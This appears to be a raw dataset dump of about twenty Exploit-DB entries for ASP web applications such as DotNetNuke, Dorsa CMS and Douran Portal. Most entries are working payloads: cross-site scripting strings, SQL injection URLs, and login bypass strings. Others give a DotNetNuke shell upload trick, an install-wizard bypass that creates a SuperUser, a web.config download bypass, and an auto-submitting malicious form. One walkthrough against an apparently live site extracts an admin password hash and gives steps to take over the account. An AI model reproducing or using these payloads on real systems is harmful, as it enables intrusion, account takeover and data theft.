deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30327
Description: Dora Emlak 1.0 Script - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-07-23
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25004/info

Dora Emlak Script is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, steal cookie-based authentication credentials, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dora Emlak Script v1.0 is vulnerable.

<html><head></head><body>1-http://www.example.com/dora/default.asp?goster=iletisim

You write xss code in  page's text box

Adý <script>alert("G3");</script>
Soyadý<script>alert("G3");</script>
Mail Adresiniz   <script>alert("G3");</script>
Konu     <script>alert("G3");</script>
Mesajý <script>alert("G3");</script>

Press to "gör"(send) button.

http://www.example.com//dora/default.asp?goster=emlakdetay&id= [SQL]
</body></html>
Exploit-DB #32549
Description: Dorsa CMS - 'Default_.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-10-29
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/31992/info

Dorsa CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Default_.aspx?lang=1&sub=5&Page_=search&order=search&search=%27%3E%3Cscript%3Ealert%28%27Pouya_Server%27%29%3C%2Fscript%3E
Exploit-DB #6810
Description: DorsaCMS - 'ShowPage.aspx' SQL Injection
Type: webapps
Platform: asp
Date: 2008-10-22
Author: syst3m_f4ult

Exploit:
#########################################################
---------------------------------------------------------

Portal Name: Dorsa CMS
Vendor : http://www.dorsacms.com
Description : A CMS written by iranian programmers which uses by governmental websites.
Vulnerable File : ShowPage.aspx
Dork: Powered by DorsaCms
Author : syst3m_f4ult  && Y!ID : autumn_love6

---------------------------------------------------------
#########################################################

How to exploit :

a live example :

http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2

Testing injection :
http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2 or 1=convert(int,@@version)--
	Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise ...

Getting table which contains Username and [CREDENTIAL_REDACTED] way is to search it:

http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27))--

	table_name = Seller
Its not that table we are seeking, so we keep on:
http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27 and table_name not in ('Seller')))--

Bingo
	Table_name = USER_

Start to get username and pass from USER_:

http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 %2b'Username= '%2bconvert(varchar,isnull(convert(varchar,user_name),'NULL'))%2b' -- Password= : '%2bconvert(varchar,isnull(convert(varchar,Pass),'NULL')) from USER_ where Code='1'))

	user : admin
	pass : kaBY/8jRC+XbjSIIDhsHFmOX1B2pDd

Update hash to a hash you know its decode and enjoy.

login to portal :
http://www.xxx.ir/Dorsapax/Signin.aspx


---------------------------------------------------------
#########################################################

# milw0rm.com [2008-10-22]
Exploit-DB #12700
Description: DotNetNuke - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-05-22
Author: Ra3cH & Ma3sTr0-Dz

Exploit:
************************************************************
**      DotNetNuke Remote File upload Vulnerability 
************************************************************
**  Prodcut:        DotNetNuke   
**  Home   :         www.DZ4All.cOm/Cc
**  Vunlerability :    Remote File upload
**  Risk  :        High
**  Dork :         inurl:tabid/176/Default.aspx or inurl:portals/0/
************************************************************
**
** Original discovery and credit goes to: Alireza Afzali of ISCN Team
** Found date: 5/17/2009
** http://securityreason.com/exploitalert/6234
**
** Authors     :    Ra3cH & Ma3sTr0-Dz
** From        :    Algeria
** Contact     :     e51@hotmail.fr
** *********************************************************
** Greetz to :     ALLAH 
**         All Members of  http://www.DZ4All.cOm/Cc
**         And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & Ma3sTr0-Dz
************************************************************
**  Exploit:
**  http://[PATH]/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
**
**  AnD Add :  javascript:__doPostBack('ctlURL$cmdUpload','')
**
** 
**  AnD UpLOaD YoUr ShEll AsP LiKe    Dz4aLL.asp;me.jpg  
************************************************************
**
**  you find your Shell Hier 
**
**  http://[PATH]/portals/0/dz4all.asp;me.jpg
*************************************************************
Exploit-DB #39777
Description: DotNetNuke 07.04.00 - Administration Authentication Bypass
Type: webapps
Platform: asp
Date: 2016-05-06
Author: Marios Nicolaides

Exploit:
# Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass
# Date: 06-05-2016
# Exploit Author: Marios Nicolaides
# Vendor Homepage: http://www.dnnsoftware.com/
# Software Link: https://dotnetnuke.codeplex.com/releases/view/611324
# Version: 07.04.00
# Tested on: Microsoft Windows 7 Professional (64-bit)
# Contact: marios.nicolaides@outlook.com
# CVE: CVE-2015-2794
# Category: webapps
 
1. Description
   
DotNetNuke 07.04.00 does not prevent anonymous users from accessing the installation wizard, as a result a remote attacker 
can 'reinstall' DNN and get unauthorised access as a SuperUser.

Previous versions of DotNetNuke may also be affected.
 
   
2. Proof of Concept
 
The exploit can be demonstrated as follows:

If the DNN SQL database is in the default location and configuration:
	- Database Type: SQL Server Express File
	- Server Name: .\SQLExpress
	- Filename: Database.mdf (This is the default database file of DNN. You can find it at \App_Data\Database.mdf)

The following URL will create an account with the username: 'host', [CREDENTIAL_REDACTED]':
	http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall


If the DNN SQL database is not in the default configuration then the attacker must know its configuration or be able to brute-force guess it.

	A. Visit http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=
	B. Fill in the form and submit it:
		Username: whatever
		[CREDENTIAL_REDACTED]
		Email address: whatever@example.com (You will get an error msg due to client-side validation, just ignore it)
		Website Name: Whatever Site Name
		Database Setup Custom:
			- Database Type: SQL Server Express File
			- Server Name: .\SQLExpress 
				- This is the SQL Server instance name that we need to find or brute-force guess it in order to complete the installation. 
				- If MSSQL database is accessible you can use auxiliary/scanner/mssql/mssql_ping from MSF to get it.
			- Filename: Database.mdf
				- This is the default database file of DNN. You can find it at "\App_Data\Database.mdf".
			- Tick the box Run Database as a Database Owner
	C. You will probably get an error. Remove the "__VIEWSTATE=" parameter from the URL and press enter.
	D. When the installation completes click Visit Website.
	E. Login with your credentials.

3. Solution:

Update to version 07.04.01
https://dotnetnuke.codeplex.com/releases/view/615317

4. References:

http://www.dnnsoftware.com/platform/manage/security-center (See 2015-05 (Critical) unauthorized users may create new host accounts)
http://www.dnnsoftware.com/community-blog/cid/155198/workaround-for-potential-security-issue
Exploit-DB #28615
Description: DotNetNuke 4.0 - HTML Injection
Type: webapps
Platform: asp
Date: 2006-09-17
Author: Secure Shapes

Exploit:
source: https://www.securityfocus.com/bid/20117/info

DotNetNuke is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code may execute in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to users; other attacks are also possible.

All versions of the application are vulnerable to this issue.

http://www.example.com/Default.aspx?tabid=510&error="<script></script>/><iframe<script></script>src=http://www.example.com>
Exploit-DB #31865
Description: DotNetNuke 4.8.3 - 'Default.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-05-30
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/29437/info

DotNetNuke is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DotNetNuke 4.8.3 is vulnerable; other versions may also be affected.

http://www.example.com/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx http://www.example.com/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive';
Exploit-DB #33009
Description: DotNetNuke 4.9.3 - 'ErrorPage.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-05-22
Author: ben hawkes

Exploit:
source: https://www.securityfocus.com/bid/35074/info

DotNetNuke is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects versions prior to DotNetNuke 4.9.4. 

http://www.example.com/ErrorPage.aspx?status=500&error=test%3Ciframe%20src=%22http://www.example.net/XSS.html%22%3
Exploit-DB #35045
Description: DotNetNuke 5.5.1 - 'InstallWizard.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-12-03
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/45180/info

DotNetNuke is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

DotNetNuke 5.5.1 is vulnerable; prior versions may also be affected. 

http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=<script>alert(1)</script>
Exploit-DB #38696
Description: DotNetNuke 6.1.x - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2013-08-13
Author: Sajjad Pourali

Exploit:
source: https://www.securityfocus.com/bid/61770/info

DotNetNuke is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DotNetNuke prior to versions 7.1.1 and 6.2.9 are vulnerable.

http://www.example.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'}
Exploit-DB #17011
Description: Douran 3.9.7.8 - File Download/Source Code Disclosure
Type: webapps
Platform: asp
Date: 2011-03-20
Author: AJAX Security Team

Exploit:
# Title: [Douran Portal File Download/Source Code Disclosure Vulnerability]
# Date of Publishing: [16 March 2010]
# Application Name: [Douran Portal]
# Version: [3.9.7.8]
# Impact: [Medium]
# Vendor: www.douran.com
# Link: http://douran.com/HomePage.aspx?TabID=4862
# Vendor Response(s): They didn't respond to the emails.
# Credit to: AJAX Security Team
# Finder(s):
	- HUrr!c4nE! (bl4ck.k3yv4n [at] yahoo [dot] com) (ajaxtm.com)
	- Soroush Dalili (Irsdl [at] yahoo [dot] com) (secproject.com)

# Description:
Regarding attack technique [1], it is possible to bypass the security protections of /download.aspx in Douran Portal and download the hosted files.

# PoC(s): 
Try this first and see the access denied error: http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config&OriginalAttachFileName=secretfile.txt
Now try these to bypass it:
http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config\.&OriginalAttachFileName=secretfile.txt
http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config%20&OriginalAttachFileName=secretfile.txt
http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=wEB.CoNfiG&OriginalAttachFileName=secretfile.txt

# Reference:
[1] Unrestricted File Download V1.0  Windows Server, (URL: http://soroush.secproject.com/blog/2011/01/unrestricted_file_download_v1_0/)

# Important Notes:
- Vendor did not respond to the email as well as the phone. As there is not any contact form or email address in the website, we have used all the emails which had been found by searching in Google such as support, info, and so on.
Exploit-DB #34948
Description: Douran Portal 3.9.7.55 - Arbitrary File Upload / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-11-01
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/44594/info

Douran Portal is prone to an arbitrary-file-upload vulnerability and a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to upload and execute arbitrary ASP code in the context of the webserver process, steal cookie-based authentication information, execute arbitrary client-side scripts in the context of the browser, and obtain sensitive information. Other attacks are also possible.

Douran Portal versions 3.9.7.55 and prior are vulnerable. 

http://www.example.com/DesktopModules/Gallery/OrderForm.aspx?itemtitle=<script>alert('ITSecTeam')</script>
Exploit-DB #2992
Description: Dragon Business Directory 3.01.12 - 'ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Dragon Business Directory <= V3.01.12 (ID) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//bus_details.asp?ID=[SQL]

Example:

//bus_details.asp?ID=-1%20union%20select%200,0,username,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20admin


[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# milw0rm.com [2006-12-23]
Exploit-DB #29044
Description: Dragon Internet Events Listing 2.0.01 - 'admin_login.asp' Multiple Field SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-15
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/21098/info
  
Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.
  
username: 'or''='
passwd: 'or''='
Exploit-DB #29043
Description: Dragon Internet Events Listing 2.0.01 - 'event_searchdetail.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-15
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/21098/info
 
Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.
 
http://www.example.com/event_searchdetail.asp?ID='[sql]
Exploit-DB #29042
Description: Dragon Internet Events Listing 2.0.01 - 'venue_detail.asp?VenueID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-15
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/21098/info

Dragon Event Listing is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.

http://www.example.com/venue_detail.asp?VenueID='[sql]
Exploit-DB #25963
Description: Dragonfly Commerce 1.0 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-07-12
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/14220/info

Dragonfly Commerce is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

There are conflicting reports regarding whether or not these vulnerabilities are present. The vendor has stated that the vulnerabilities do not exist. This BID will be updated as further information becomes available. 

http://www.example.com/dc_Categoriesview.asp??key='&RecPerPage=5
http://www.example.com/demo/dc_productslist_Clearance.asp?cmd=%27
http://www.example.com/demo/ratings.asp??PID='
http://www.example.com/demo/dc_forum_Postslist.asp?start='
http://www.example.com/demo/dc_forum_Postslist.asp?key_m='
http://www.example.com/demo/dc_forum_Postslist.asp?psearch=1&Submit=Search%20%28%2A%29&psearchtype='
http://www.example.com/demo/dc_forum_Postslist.asp?psearch='&Submit=Search%20%28%2A%29&psearchtype=1
Exploit-DB #7816
Description: DS-IPN.NET Digital Sales IPN - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-01-18
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] We love Palestine, stop the war, too many innocent people!!
==============================================================================
    DS-IPN Paypal Shop Remote Database Disclosure Vulnerability
==============================================================================

	[Â»] Script:             [ DS-IPN Paypal Shop  ]
	[Â»] Language:           [ ASP ]
	[Â»] Website:            [ http://shop.robs-projects.com/product_DS-IPN.html ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ www.evilway.org ]

###########################################################################

===[ Exploit ]===	
	
	[Â»] http://localhost/[path]/Database/Sales.mdb


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-18]
Exploit-DB #34411
Description: DT Centrepiece 4.5 - Cross-Site Scripting / Security Bypass
Type: webapps
Platform: asp
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42243/info

DT Centrepiece is prone to multiple cross-site scripting vulnerabilities and multiple security-bypass vulnerabilities.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The attacker may leverage the security bypass issues to activate arbitrary accounts and gain unauthorized access to the affected application.

DT Centrepiece 4.5 is vulnerable; other versions may also be affected. 

http://www.example.com/search.asp?searchFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://www.example.com/login.asp?c=/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

<form name="main" method="POST" action="http://www.example.com/register.asp">
<input type="hidden" name="frmRegisterCheck" value="true">
<input type="hidden" name="user" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="pass" value="">
<input type="hidden" name="confirmPass" value="">
<input type="hidden" name="FirstName" value="">
<input type="hidden" name="LastName" value="">
<input type="hidden" name="EmailAddress" value="">
<input type="hidden" name="Address" value="">
<input type="hidden" name="Country" value="">
<input type="hidden" name="Landline" value="">
<input type="hidden" name="Mobile" value="">
</form>
<script>
document.main.submit();
</script>

http://www.example.com/activate.asp?p=USERNAME

MM_Remember_Username=USERNAME